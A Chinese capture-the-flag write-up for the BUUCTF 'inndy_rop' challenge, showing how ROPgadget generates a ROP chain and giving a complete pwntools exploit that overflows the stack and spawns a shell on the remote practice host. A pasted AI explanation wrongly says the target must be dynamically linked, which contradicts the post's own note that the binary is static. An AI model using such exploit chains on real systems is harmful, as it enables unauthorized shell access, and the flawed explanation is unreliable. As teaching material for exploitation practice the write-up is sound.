inndy_rop

保护只打开了NX,ida打开发现左边有很多函数,是静态编译,无法泄露libc
看一下main函数,挺简单的,只有个栈溢出
image
image
这题可以使用ROPgadget工具,终端上输入
ROPgadget --binary rop --ropchain
可以直接生成rop链
image

不懂的话可以问一下ai是什么意思
这段代码是一个基于 ROP(Return-Oriented Programming)的利用脚本,用于构造一个 ROP 链,最终执行 execve("/bin/sh", NULL, NULL),从而获取一个 shell。以下是对代码的详细解释和分析:
1. 代码功能概述
这段代码的目标是通过 ROP 技术构造一个能够执行 execve("/bin/sh", NULL, NULL) 的 ROP 链。execve 是 Linux 系统调用,用于执行一个新的程序。这里的参数是:
"/bin/sh":要执行的程序路径(/bin/sh 是 shell 的路径)。
NULL:表示参数列表和环境变量列表的结束。
2. 代码结构解析
(1) 数据准备
Python复制
p = b''  # 初始化一个空的字节串,用于存储 ROP 链
(2) 构造字符串 /bin/sh
使用 pop eax 和 mov dword ptr [edx], eax 将字符串 /bin/sh 逐字节写入内存:
Python复制
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'               # 将 '/bin' 写入 eax
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'               # 将 '//sh' 写入 eax
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
这里使用了 .data 段的地址(0x080ea060)作为目标地址,将 /bin/sh 分两部分写入内存。
(3) 清空寄存器
清空 eax,用于后续的系统调用:
Python复制
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
(4) 设置系统调用参数
设置 execve 的参数:
Python复制
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data (地址指向 "/bin/sh")

p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8 (NULL)

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8 (NULL)
ebx 是 execve 的第一个参数(程序路径)。
ecx 和 edx 分别是第二个和第三个参数(参数列表和环境变量列表),这里都设置为 NULL。
(5) 设置系统调用号
使用 xor eax, eax 和 inc eax 将 eax 设置为 11(execve 的系统调用号):
Python复制
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
...
p += pack('<I', 0x0807a66f) # inc eax ; ret
通过 11 次 inc eax 将 eax 设置为 11。
(6) 触发系统调用
最后,触发系统调用:
Python复制
p += pack('<I', 0x0806c943) # int 0x80
3. 代码功能总结
这段代码通过 ROP 技术,利用目标程序中的 gadget 构造了一个 ROP 链,最终执行了 execve("/bin/sh", NULL, NULL),从而获取了一个 shell。这是一个典型的 ROP 利用脚本,常用于绕过栈保护(如 NX/DEP)来执行任意代码。
4. 注意事项
目标程序的可利用性:
目标程序必须包含上述 gadget,并且 .data 段必须可写。
目标程序必须以动态链接方式运行,且没有启用 ASLR(地址空间布局随机化)。
安全风险:
这种利用方式属于安全漏洞利用,仅用于学习和研究目的。在实际环境中,未经授权的利用是非法的。
环境依赖:
脚本中使用的地址(如 .data 段地址)必须与目标程序的实际地址一致。如果目标程序启用了 ASLR,需要先绕过 ASLR。
5. 中文总结
这段代码是一个 ROP 利用脚本,通过构造一个 ROP 链,最终执行 execve("/bin/sh", NULL, NULL) 来获取一个 shell。它利用了目标程序中的 gadget 和 .data 段,将 /bin/sh 写入内存,并设置系统调用参数和调用号,最终触发系统调用。

然后直接将其写入exp即可

点击查看代码
from pwn import *
from struct import pack
io=remote("node5.buuoj.cn",29245)
p = cyclic(0xC+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
io.sendline(p)
io.interactive()
posted @   fdddddd  阅读(5)  评论(0编辑  收藏  举报
(评论功能已被禁用)
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
点击右上角即可分享
微信分享提示